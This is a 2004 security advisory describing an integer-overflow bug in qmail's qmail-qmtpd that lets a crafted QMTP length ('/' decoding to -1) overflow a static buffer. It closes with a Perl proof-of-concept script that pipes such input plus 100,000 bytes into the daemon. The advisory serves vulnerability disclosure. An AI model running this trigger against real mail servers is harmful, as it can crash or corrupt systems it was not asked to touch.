This Advisory is Copyright (c) 2004 Georgi Guninski.
You may distribute it unmodified.
You  may  not  modify    it   and   distribute    it   or   distribute   parts
of it without the author's written permission - this especially  applies  to
so called "vulnerabilities databases"  and  securityfocus,  microsoft,    cert
and mitre.
If   you   want    to     link     to    this    content      use     the    URL:
http://www.guninski.com/qmail-qmtpd.html
Anything in this document may change without notice.

Disclaimer:
The  information  in  this  advisory  is  believed   to   be   true   though
it may be false.
The opinions  expressed  in  this  advisory  and  program  are    my  own  and
not   of   any     company.    The   usual   standard   disclaimer    applies,
especially the fact that Georgi Guninski  is  not  liable  for    any  damages
caused by direct  or  indirect    use  of  the  information  or  functionality
provided  by  this  advisory  or  program.    Georgi   Guninski   bears   no
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any derivatives thereof.

Description:

there is a buffer overflow in qmail-qmtpd.c if the env.   var.     RELAYCLIENT
is long between 4 and 1003.  A static buffer gets overflowed due to  integer
overflow.  I can't exploit it on linux,  though  it  may  turn    exploitable.

Details:

Basically the idea is it is possible getlen() to  return  (unsigned  long)-1
or -4 and then the check     
if (len + relayclientlen >= 1000)
passes though len == (unsigned)-4.
Then len is used to copy in a static buffer.
The check for len  is  *before*  len  is  updated,  so    it  is    possible  to
update len and then return len.
A lot of memory gets overwritten including qq.    if a C    compiler  sets    ssin
after buf, i believe it will be exploitable.
The trick is that
len = 10 * len + (ch - '0');
can return -1 if len == 0 and ch == '/'

#!/usr/bin/perl -w

#Copyright Georgi Guninski\nCannot be used in vulnerability databases and 
#similar stuff

use IO::Socket;
use IO::Poll;

$ENV{"RELAYCLIENT"}="M\$UX";
open(SOCK,"|/var/qmail/bin/qmail-qmtpd");

my $req;
my $fromaddr="they\@m\$.weenies";
my $touser="postmaster";

print "qmail-qmtpd buffer overflow. Copyright Georgi Guninski\n
Cannot be used in vulnerability databases and similar stuff\n";

$req  = "1:\n,";
$req .= "1:V,";
$req .= "/:"; #biglen - this is how we code '-1'
$req .= ",:"; #len - this is how we code '-4'



print SOCK $req;
my $ch=getc();

$req = "v" x 100000;

print SOCK $req;
close SOCK;